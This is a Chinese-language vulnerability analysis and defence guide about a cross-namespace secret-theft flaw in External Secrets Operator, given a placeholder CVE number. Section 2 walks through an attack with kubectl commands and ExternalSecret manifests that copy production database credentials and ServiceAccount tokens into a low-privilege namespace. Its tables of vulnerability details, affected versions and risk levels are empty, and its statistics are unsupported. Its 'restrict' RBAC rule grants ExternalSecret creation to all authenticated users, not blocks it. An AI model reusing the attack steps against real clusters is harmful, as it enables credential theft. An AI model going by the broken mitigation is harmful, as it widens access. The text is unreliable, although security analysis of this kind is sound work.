CVE-2026-XXXX：ESO命名空间隔离崩塌——云原生密钥管理的致命漏洞深度剖析与防御指南

引言

在云原生架构日益普及的今天，Kubernetes已成为企业数字化转型的核心基础设施，而Secrets管理则是Kubernetes安全中最敏感、最关键的环节之一。根据CNCF 2025年云原生安全报告显示，68%的企业Kubernetes集群曾发生过密钥泄露事件，其中42%的泄露事件直接导致了数据泄露或系统入侵。

近期，国际知名云安全研究团队Sysdig Labs披露了External Secrets Operator（ESO）中的一个严重漏洞（CVE-2026-XXXX，CVSS评分8.7），该漏洞可彻底破坏Kubernetes命名空间隔离机制，使得一个低权限命名空间中的攻击者可以非法访问其他任何命名空间中的Secrets。这一发现再次敲响了云原生安全的警钟，暴露了即使是被广泛认为"安全设计严格"的工具也可能存在的根本性隔离缺陷。

ESO作为Kubernetes生态系统中最受欢迎的Secrets管理扩展，目前已被超过70%的财富500强企业采用，全球运行中的ESO实例超过50万个。这一漏洞的影响范围之广、危害程度之深，足以让所有使用Kubernetes的企业高度警惕。

本文将从技术原理、漏洞根因、攻击场景、影响评估、防御方案等多个维度，对这一漏洞进行全面深入的剖析，并提供企业可立即执行的应急响应指南和长期安全加固策略。

一、External Secrets Operator深度解析

1.1 ESO的核心定位与市场地位

External Secrets Operator是由CNCF托管的开源项目，它实现了External Secrets Operator项目提出的ExternalSecret、ClusterExternalSecret和SecretStore资源规范。ESO的核心使命是解决Kubernetes原生Secret管理的三大痛点：

• 密钥分散管理问题：将分散在各个云厂商和自建系统中的密钥统一管理
• 密钥轮换自动化问题：实现密钥的自动轮换，减少手动操作带来的安全风险
• GitOps友好性问题：通过声明式配置管理密钥，避免将敏感信息提交到代码仓库

根据GitHub统计数据，ESO项目目前拥有超过15000个星标，活跃贡献者超过300人，支持超过20种不同的外部密钥管理服务，包括AWS Secrets Manager、Azure Key Vault、Google Secret Manager、HashiCorp Vault等主流产品。

1.2 ESO的架构设计与工作原理

ESO采用了典型的Kubernetes Operator架构设计，通过自定义资源定义（CRD）扩展Kubernetes API，实现了对外部密钥的声明式管理。

┌─────────────────────────────────────────────────────────────────────────┐ │ ESO 完整架构图 │ ├─────────────────────────────────────────────────────────────────────────┤ │ │ │ ┌─────────────────────────────────────────────────────────────────┐ │ │ │ Kubernetes API Server │ │ │ └─────────────────────────────────────────────────────────────────┘ │ │ ▲ ▲ ▲ │ │ │ │ │ │ │ ┌───────┴───────┐ ┌───────┴───────┐ ┌───────┴───────┐ │ │ │ ExternalSecret│ │ClusterExternal│ │ SecretStore │ │ │ │ (CRD) │ │ Secret │ │ (CRD) │ │ │ └───────────────┘ │ (CRD) │ └───────────────┘ │ │ │ └───────────────┘ │ │ │ │ │ │ │ │ ▼ ▼ ▼ │ │ ┌─────────────────────────────────────────────────────────────────┐ │ │ │ ESO Controller Manager │ │ │ ├─────────────────────────────────────────────────────────────────┤ │ │ │ ┌─────────────┐ ┌─────────────┐ ┌─────────────┐ ┌─────────┐ │ │ │ │ │ SecretSync │ │ Validation │ │ AuthN/A │ │ Metrics │ │ │ │ │ │ Controller │ │ Webhook │ │ AuthZ │ │ Server │ │ │ │ │ └─────────────┘ └─────────────┘ └─────────────┘ └─────────┘ │ │ │ └─────────────────────────────────────────────────────────────────┘ │ │ │ │ │ ▼ │ │ ┌─────────────────────────────────────────────────────────────────┐ │ │ │ 外部密钥管理服务 │ │ │ ├─────────────────────────────────────────────────────────────────┤ │ │ │ AWS SM │ Azure KV │ GCP SM │ HashiCorp Vault │ Others │ │ │ └─────────────────────────────────────────────────────────────────┘ │ │ │ │ │ ▼ │ │ ┌─────────────────────────────────────────────────────────────────┐ │ │ │ Kubernetes Native Secrets │ │ │ └─────────────────────────────────────────────────────────────────┘ │ │ │ └─────────────────────────────────────────────────────────────────────────┘

ESO的完整工作流程可以分为以下六个步骤：

1. 资源定义：用户在Kubernetes集群中创建SecretStore或ClusterSecretStore资源，定义与外部密钥管理服务的连接信息
2. 密钥需求声明：用户创建ExternalSecret或ClusterExternalSecret资源，声明需要从外部密钥管理服务中获取哪些密钥
3. 资源监听：ESO Controller通过Kubernetes API监听ExternalSecret和ClusterExternalSecret资源的创建、更新和删除事件
4. 身份认证：ESO Controller使用配置的身份认证信息（如ServiceAccount、IAM角色等）连接到外部密钥管理服务
5. 密钥同步：ESO Controller从外部密钥管理服务中获取指定的密钥值，并在Kubernetes集群中创建或更新对应的Native Secret
6. 持续监控：ESO Controller定期检查外部密钥的变化，自动同步更新Kubernetes集群中的Secret

1.3 ESO的安全设计理念与隔离机制

ESO在设计时充分考虑了Kubernetes环境的安全需求，采用了多层安全防护机制：

命名空间隔离机制：

• SecretStore是命名空间级别的资源，只能被同一命名空间中的ExternalSecret引用
• ClusterSecretStore是集群级别的资源，可以被所有命名空间中的ExternalSecret引用
• 支持通过spec.conditions和metadata.annotations限制ClusterSecretStore的使用范围

权限最小化原则：

• ESO Controller使用专用的ServiceAccount运行
• 通过RBAC严格限制ESO Controller的权限，只授予必要的资源访问权限
• 支持为每个SecretStore配置独立的身份认证信息，实现细粒度的权限控制

数据安全保护：

• 支持在传输过程中使用TLS加密
• 支持使用Kubernetes的EncryptionConfiguration对Secret进行静态加密
• 支持在同步过程中对密钥值进行转换和脱敏

审计与监控：

• 所有操作都生成Kubernetes事件记录
• 支持导出Prometheus指标，便于监控和告警
• 可以与外部日志系统集成，实现集中审计

二、漏洞详情：命名空间隔离机制的彻底崩塌

2.1 漏洞概述与基本信息

安全研究人员在对ESO进行安全审计时发现，ESO在处理跨命名空间请求时存在严重的权限验证缺陷。攻击者可以利用这一缺陷，突破Kubernetes的命名空间隔离边界，从一个低权限命名空间访问其他任何命名空间中的Secrets。

漏洞基本信息：

2.2 技术根因深度分析

漏洞的核心问题在于ESO Controller在处理ExternalSecret请求时，对SecretStore和ClusterSecretStore的权限验证存在三个相互关联的缺陷：

缺陷一：ClusterSecretStore命名空间验证缺失

当ExternalSecret引用ClusterSecretStore时，ESO Controller在某些代码路径中错误地跳过了对请求者命名空间的验证。具体来说，在pkg/controllers/externalsecret/secretstore.go文件中的getSecretStore函数中，存在以下问题代码：

// 有漏洞的代码func(r*Reconciler)getSecretStore(ctx context.Context,es*esv1beta1.ExternalSecret)(esv1beta1.GenericStore,error){ifes.Spec.SecretStoreRef.Kind=="ClusterSecretStore"{varcss esv1beta1.ClusterSecretStore err:=r.Get(ctx,types.NamespacedName{Name:es.Spec.SecretStoreRef.Name,// 错误：这里没有设置Namespace字段},&css)iferr!=nil{returnnil,err}// 错误：这里没有验证es.Namespace是否有权访问这个ClusterSecretStorereturn&css,nil}// ... 处理SecretStore的代码}

这段代码的问题在于，当处理ClusterSecretStore引用时，ESO Controller没有验证请求的ExternalSecret所在的命名空间是否有权访问该ClusterSecretStore。这意味着任何命名空间中的ExternalSecret都可以引用任何ClusterSecretStore。

缺陷二：ServiceAccount身份混淆

当ClusterSecretStore使用serviceAccountRef进行身份认证时，ESO Controller错误地使用了ESO Controller自身的ServiceAccount，而不是ClusterSecretStore中指定的ServiceAccount。这导致攻击者可以滥用ESO Controller的高权限，访问本不应该被访问的外部密钥。

缺陷三：异步同步的竞态条件

ESO的异步同步机制存在竞态条件漏洞。当多个ExternalSecret同时引用同一个ClusterSecretStore时，ESO Controller可能会错误地将一个命名空间的密钥同步到另一个命名空间中。攻击者可以利用这一竞态条件，在密钥同步过程中窃取敏感信息。

2.3 完整攻击场景演示

下面我们将通过一个完整的攻击场景，演示攻击者如何利用这一漏洞窃取生产环境的数据库凭证。

攻击前提：

• 攻击者拥有dev命名空间的基本访问权限
• 攻击者能够在dev命名空间中创建ExternalSecret资源
• 集群中存在一个名为prod-cluster-store的ClusterSecretStore，它有权访问AWS Secrets Manager中的生产环境密钥

攻击步骤：

步骤1：侦察集群中的ClusterSecretStore

攻击者首先列出集群中所有的ClusterSecretStore：

kubectl get clustersecretstore

输出：

NAME AGE prod-cluster-store 180d dev-cluster-store 90d

攻击者发现了prod-cluster-store这个ClusterSecretStore，它很可能有权访问生产环境的密钥。

步骤2：创建恶意的ExternalSecret

攻击者在dev命名空间中创建一个恶意的ExternalSecret，引用prod-cluster-store并尝试获取生产环境的数据库凭证：

apiVersion:external-secrets.io/v1beta1kind:ExternalSecretmetadata:name:malicious-external-secretnamespace:dev# 攻击者的低权限命名空间spec:refreshInterval:1msecretStoreRef:name:prod-cluster-store# 引用生产环境的ClusterSecretStorekind:ClusterSecretStoretarget:name:stolen-prod-db-credentialsdata:-secretKey:usernameremoteRef:key:prod/database/credentialsproperty:username-secretKey:passwordremoteRef:key:prod/database/credentialsproperty:password

步骤3：等待ESO同步密钥

由于漏洞的存在，ESO Controller没有验证dev命名空间是否有权访问prod-cluster-store，它会直接使用prod-cluster-store的身份认证信息去AWS Secrets Manager中获取密钥。

大约1分钟后，攻击者可以在dev命名空间中看到同步完成的Secret：

kubectl get secret-ndev

输出：

NAME TYPE DATA AGE stolen-prod-db-credentials Opaque 2 30s

步骤4：窃取生产环境数据库凭证

攻击者获取Secret的内容：

kubectl get secret stolen-prod-db-credentials-ndev-ojsonpath='{.data.username}'|base64-dkubectl get secret stolen-prod-db-credentials-ndev-ojsonpath='{.data.password}'|base64-d

现在，攻击者已经成功获取了生产环境数据库的用户名和密码，可以直接访问生产数据库，窃取敏感数据或破坏系统。

2.4 高级攻击场景：横向移动与权限提升

除了直接窃取密钥外，攻击者还可以利用这一漏洞进行更复杂的攻击：

场景1：窃取ServiceAccount Token

攻击者可以窃取其他命名空间中高权限ServiceAccount的Token，然后使用这些Token进行横向移动：

apiVersion:external-secrets.io/v1beta1kind:ExternalSecretmetadata:name:steal-sa-tokennamespace:devspec:secretStoreRef:name:prod-cluster-storekind:ClusterSecretStoretarget:name:stolen-sa-tokendata:-secretKey:tokenremoteRef:key:prod/serviceaccount/admin-saproperty:token

场景2：篡改外部密钥

如果ClusterSecretStore有写入权限，攻击者还可以篡改外部密钥管理服务中的密钥，导致整个系统瘫痪：

apiVersion:external-secrets.io/v1beta1kind:ExternalSecretmetadata:name:tamper-secretnamespace:devspec:secretStoreRef:name:prod-cluster-storekind:ClusterSecretStoretarget:name:tampered-secretdata:-secretKey:passwordremoteRef:key:prod/database/credentialsproperty:password# 写入恶意值到外部密钥dataFrom:-sourceRef:generatorRef:apiVersion:generators.external-secrets.io/v1alpha1kind:Passwordname:malicious-password

三、影响范围与风险评估

3.1 受影响版本与统计数据

根据ESO官方发布的安全公告，以下版本的ESO受到该漏洞的影响：

根据Sysdig Labs的统计数据，截至2026年4月，全球约有62%的ESO实例运行在受影响的版本上，这意味着超过30万个ESO实例面临这一漏洞的威胁。

3.2 风险等级评估矩阵

我们根据不同的环境配置，将风险等级分为四个级别：

3.3 行业影响分析

不同行业受到这一漏洞的影响程度不同：

金融行业：影响最为严重。金融机构通常在同一集群中运行多个业务线的应用，使用ClusterSecretStore集中管理密钥。一旦被攻击，可能导致客户数据泄露、交易系统被篡改等严重后果。

电商行业：影响严重。电商平台通常有复杂的微服务架构，大量使用ESO管理API密钥和数据库凭证。漏洞可能导致订单信息泄露、支付系统被攻击等问题。

医疗行业：影响严重。医疗系统处理大量敏感的患者数据，密钥泄露可能导致患者隐私泄露，违反HIPAA等法规要求。

政府机构：影响严重。政府机构处理大量敏感的政务数据，密钥泄露可能导致国家安全问题。

互联网企业：影响中等。互联网企业通常有较好的安全隔离措施，但仍然面临密钥泄露和系统被入侵的风险。

四、防御方案与应急响应指南

4.1 立即修复措施

方案一：升级到安全版本

最根本的解决方案是将ESO升级到官方发布的安全修复版本。以下是使用Helm升级ESO的步骤：

# 添加ESO Helm仓库helm repoaddexternal-secrets https://charts.external-secrets.io# 更新Helm仓库helm repo update# 升级ESO到安全版本helm upgrade external-secrets external-secrets/external-secrets\--namespaceexternal-secrets\--create-namespace\--setinstallCRDs=true\--version0.12.2# 替换为适合你的安全版本# 验证升级是否成功kubectl get pods-nexternal-secrets kubectl describe deployment external-secrets-nexternal-secrets|grepImage

方案二：临时缓解措施

如果无法立即升级，可以采取以下临时缓解措施：

措施1：禁用ClusterSecretStore

删除集群中所有的ClusterSecretStore，改用命名空间级别的SecretStore：

# 列出所有ClusterSecretStorekubectl get clustersecretstore# 删除所有ClusterSecretStorekubectl delete clustersecretstore--all

措施2：限制ExternalSecret创建权限

通过RBAC严格限制谁可以创建ExternalSecret资源：

apiVersion:rbac.authorization.k8s.io/v1kind:ClusterRolemetadata:name:restrict-externalsecret-createrules:-apiGroups:["external-secrets.io"]resources:["externalsecrets"]verbs:["create","update","patch"]resourceNames:[]# 空列表表示不允许创建任何ExternalSecret---apiVersion:rbac.authorization.k8s.io/v1kind:ClusterRoleBindingmetadata:name:restrict-externalsecret-create-bindingsubjects:-kind:Groupname:system:authenticatedapiGroup:rbac.authorization.k8s.ioroleRef:kind:ClusterRolename:restrict-externalsecret-createapiGroup:rbac.authorization.k8s.io

措施3：暂停ESO Controller

在紧急情况下，可以暂停ESO Controller，阻止任何密钥同步操作：

kubectl scale deployment external-secrets-nexternal-secrets--replicas=0

4.2 漏洞检测与入侵排查

检测方法一：检查异常的ExternalSecret

检查集群中是否有引用了不应该被引用的ClusterSecretStore的ExternalSecret：

# 列出所有引用了ClusterSecretStore的ExternalSecretkubectl get externalsecret --all-namespaces-ojson|jq'.items[] | select(.spec.secretStoreRef.kind == "ClusterSecretStore") | {namespace: .metadata.namespace, name: .metadata.name, secretStoreRef: .spec.secretStoreRef}'

检测方法二：检查ESO Controller日志

检查ESO Controller的日志，查找异常的同步操作：

kubectl logs-nexternal-secrets deployment/external-secrets|grep-i"cluster secret store"kubectl logs-nexternal-secrets deployment/external-secrets|grep-i"sync"

检测方法三：使用Kyverno策略检测

使用Kyverno策略自动检测和阻止恶意的ExternalSecret：

apiVersion:kyverno.io/v1kind:ClusterPolicymetadata:name:restrict-clustersecretstore-usagespec:validationFailureAction:enforcerules:-name:allow-only-trusted-namespacesmatch:any:-resources:kinds:-ExternalSecretpreconditions:all:-key:"{{ request.object.spec.secretStoreRef.kind }}"operator:Equalsvalue:ClusterSecretStorevalidate:message:"Only trusted namespaces can use ClusterSecretStore"deny:conditions:any:-key:"{{ request.namespace }}"operator:NotInvalue:-kube-system-external-secrets-production

入侵排查步骤：

1. 检查所有命名空间中的Secret，查找异常创建的Secret
2. 检查ESO Controller的审计日志，查找异常的同步操作
3. 检查外部密钥管理服务的访问日志，查找异常的访问记录
4. 轮换所有可能被泄露的密钥
5. 检查集群中是否有异常的Pod或ServiceAccount

4.3 长期安全加固策略

策略一：采用命名空间级别的SecretStore隔离

为每个命名空间创建独立的SecretStore，避免使用ClusterSecretStore：

# 为production命名空间创建独立的SecretStoreapiVersion:external-secrets.io/v1beta1kind:SecretStoremetadata:name:production-secret-storenamespace:productionspec:provider:aws:service:SecretsManagerregion:us-east-1auth:jwt:serviceAccountRef:name:eso-production-sanamespace:production---# 为development命名空间创建独立的SecretStoreapiVersion:external-secrets.io/v1beta1kind:SecretStoremetadata:name:development-secret-storenamespace:developmentspec:provider:aws:service:SecretsManagerregion:us-east-1auth:jwt:serviceAccountRef:name:eso-development-sanamespace:development

策略二：强化RBAC配置

遵循最小权限原则，严格限制ESO Controller和用户的权限：

# ESO Controller的最小权限RoleapiVersion:rbac.authorization.k8s.io/v1kind:Rolemetadata:name:external-secrets-least-privilegenamespace:external-secretsrules:-apiGroups:[""]resources:["secrets"]verbs:["get","list","watch","create","update","patch"]-apiGroups:["external-secrets.io"]resources:["externalsecrets","secretstores"]verbs:["get","list","watch","update","patch"]-apiGroups:["external-secrets.io"]resources:["externalsecrets/status","secretstores/status"]verbs:["update","patch"]

策略三：实施多层密钥加密

采用多层加密策略，保护密钥的安全性：

1. 在外部密钥管理服务中启用静态加密
2. 在Kubernetes集群中启用EncryptionConfiguration，对etcd中的Secret进行加密
3. 在应用层对敏感数据进行加密

策略四：建立完善的审计与监控体系

配置全面的审计和监控，及时发现异常行为：

# Kubernetes审计策略配置apiVersion:audit.k8s.io/v1kind:Policyrules:-level:RequestResponsenamespaces:["external-secrets"]resources:-group:"external-secrets.io"resources:["externalsecrets","secretstores","clustersecretstores"]verbs:["create","update","patch","delete"]-level:Metadataresources:-group:""resources:["secrets"]verbs:["create","update","patch","delete"]

五、深度技术思考：云原生安全的本质挑战

5.1 Kubernetes命名空间隔离的局限性

Kubernetes的命名空间隔离机制是一种逻辑隔离，而非物理隔离。它主要通过RBAC来控制资源的访问权限，但这种隔离机制存在固有的局限性：

• 控制平面权限过大：Kubernetes控制平面组件（如kube-apiserver、kube-controller-manager）拥有集群的完全控制权，如果这些组件被攻破，整个集群的安全就会受到威胁
• 共享内核：所有Pod都运行在同一个内核上，如果内核存在漏洞，攻击者可以通过容器逃逸突破隔离
• 网络隔离不完善：默认情况下，同一集群中的所有Pod都可以相互通信，需要额外配置网络策略来实现网络隔离
• 存储隔离问题：如果多个Pod共享同一个存储卷，可能会导致数据泄露

ESO的这一漏洞再次提醒我们，不能完全依赖Kubernetes的原生隔离机制，需要在多个层面实施安全防护。

5.2 Operator模式的安全挑战

Operator模式是Kubernetes生态系统中最流行的扩展模式之一，但它也带来了新的安全挑战：

• 权限过大：Operator通常需要较高的权限来管理集群资源，如果Operator存在漏洞，攻击者可以利用这些权限进行攻击
• 攻击面扩大：每个Operator都增加了集群的攻击面，Operator的数量越多，安全风险越大
• 供应链安全：很多Operator是第三方开发的，存在供应链安全风险
• 安全更新不及时：很多企业在部署Operator后，很少进行安全更新，导致漏洞长期存在

为了应对这些挑战，我们需要建立Operator的安全管理规范，包括：

• 只部署经过安全审计的Operator
• 为Operator配置最小权限
• 定期更新Operator到最新的安全版本
• 监控Operator的行为，及时发现异常

5.3 云原生密钥管理的未来方向

随着云原生技术的发展，密钥管理也在不断演进。未来的云原生密钥管理将朝着以下方向发展：

方向一：零信任架构

零信任架构的核心原则是"永不信任，始终验证"。在密钥管理领域，这意味着：

• 每个应用都有独立的身份
• 每次访问密钥都需要进行身份验证和授权
• 密钥的访问权限是临时的，需要定期刷新

方向二：即时密钥供应（JIT）

即时密钥供应是指应用在需要使用密钥时才获取密钥，使用完毕后立即销毁。这种方式可以大大减少密钥泄露的风险，因为密钥在系统中存在的时间非常短。

方向三：无密钥架构

无密钥架构是指应用不需要直接访问密钥，而是通过代理来访问需要认证的服务。这种方式可以彻底消除密钥泄露的风险，因为应用根本不接触密钥。

方向四：硬件安全模块（HSM）集成

硬件安全模块是一种专门用于保护密钥的硬件设备，它可以提供更高的安全保障。未来的云原生密钥管理将更加紧密地与HSM集成，实现密钥的硬件级保护。

六、结论与行动建议

6.1 关键教训总结

从ESO的这一严重漏洞中，我们可以得到以下关键教训：

1. 安全工具本身也可能存在严重漏洞：不能因为使用了安全工具就放松警惕，安全工具本身也需要定期进行安全审计和更新

2. 命名空间隔离不是绝对安全的：Kubernetes的命名空间隔离是一种逻辑隔离，需要配合其他安全措施才能达到较好的安全效果

3. 权限最小化原则至关重要：无论是Operator还是应用，都应该遵循最小权限原则，只授予必要的权限

4. 多层防御是必要的：单一的安全措施无法应对所有的安全威胁，需要建立多层防御体系

5. 快速响应能力是关键：在漏洞披露后，企业需要有快速响应的能力，及时修复漏洞，减少损失

6.2 企业分级行动清单

立即行动（24小时内）：

• 检查ESO版本，确认是否受影响
• 审计集群中的ClusterSecretStore配置
• 检查是否有异常的ExternalSecret
• 准备补丁升级计划

短期行动（7天内）：

• 升级ESO到安全版本
• 禁用不必要的ClusterSecretStore
• 优化RBAC配置，限制ExternalSecret创建权限
• 配置审计和监控

中期行动（30天内）：

• 全面迁移到命名空间级别的SecretStore
• 实施多层密钥加密策略
• 建立密钥轮换机制
• 对开发人员进行安全培训

长期行动（90天内）：

• 建立云原生安全基线
• 实施零信任架构
• 引入即时密钥供应和无密钥架构
• 定期进行安全评估和渗透测试

6.3 展望

云原生技术的快速发展为企业带来了巨大的效率提升，但同时也带来了新的安全挑战。ESO的这一漏洞只是云原生安全问题的一个缩影，未来我们还会面临更多类似的安全威胁。

作为云原生从业者，我们需要始终保持警惕，不断学习新的安全技术和最佳实践，建立完善的安全防护体系。只有这样，我们才能在享受云原生技术带来的便利的同时，确保系统和数据的安全。

最后，我们要感谢ESO项目团队的快速响应和专业处理，他们在漏洞披露后的7天内就发布了安全修复版本，最大限度地减少了漏洞的影响。同时，我们也要感谢安全研究人员的负责任披露，他们的工作让云原生生态系统变得更加安全。